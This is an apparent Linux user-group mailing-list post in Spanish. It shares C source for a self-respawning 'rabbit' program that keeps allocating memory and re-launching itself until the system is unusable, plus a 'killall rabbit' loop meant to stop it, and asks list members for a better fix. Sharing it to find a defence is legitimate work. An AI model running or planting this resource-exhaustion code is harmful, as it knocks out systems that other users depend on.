Bueno, los otros d�as me sent� a programar, y me sali� de adentro mi parte malvada,
por lo que quise realizar un conejo, el mismo es un programa que se reproduce hasta
acabar con los recursos del sistema dej�ndolo inhabilitado, he intentado detenerlo,
pero solo he podido hacer un programa (una especie de 'antivirus') que lo mata si se
ejecuta a tiempo.
El conejo deben compilarlo como rabbit para que ande de forma correcta.
El hecho de que mando esta maldad a la lista es por saber si alguien le encuentra una
soluci�n, ya que visto esto cualquier usuario normal puede colgarnos el sistema de una
forma m�s que genial.
Abajo incluyo el c�digo del 'anticonejo', que solo andar� si es corrido a tiempo, ya
que sino ni el mismo podr� detenerlo, dado que tirar� que no hay recursos suficientes
para correr el programa, el anticonejo funciona y corre antes que el conejo por el
hecho de que el conejo tiene que realizar una sentencia m�s (el hecho de tener que
alojar memoria).
-------------------C�digo Conejo-------------------
/*
Guardar como rabbit.c
Compilar con gcc rabbit.c -o rabbit
Programado con fines educativos
*/
#include <stdio.h>
#include <stdlib.h>
int main (void)
{
int *ptr;
for(;;)
{
ptr = malloc(2000000);
system("./rabbit");
}
return 0;
}
-------------------C�digo AntiConejo-------------------
/*
Guardar como anticonejo.c
Compilar con gcc anticonejo.c -o anticonejo
Ejecutar con ./anticonejo
Programado con fines educativos
*/
#include <stdio.h>
#include <stdlib.h>
int main (void)
{
for(;;)
{
system("killall rabbit");
}
return 0;
}
Comento que tambi�n realic� una versi�n para g�indou$$$ que realiza la misma tarea que
se realiza en Linux, con el hecho de que no se como matar un proceso en g�indou$$$, en
tal sentido no he hecho un 'anticonejo' para este 'OS' (�OS?).
_______________________________________________
Lugro mailing list
[EMAIL PROTECTED]
http://www.lugro.org.ar/mailman/listinfo/lugro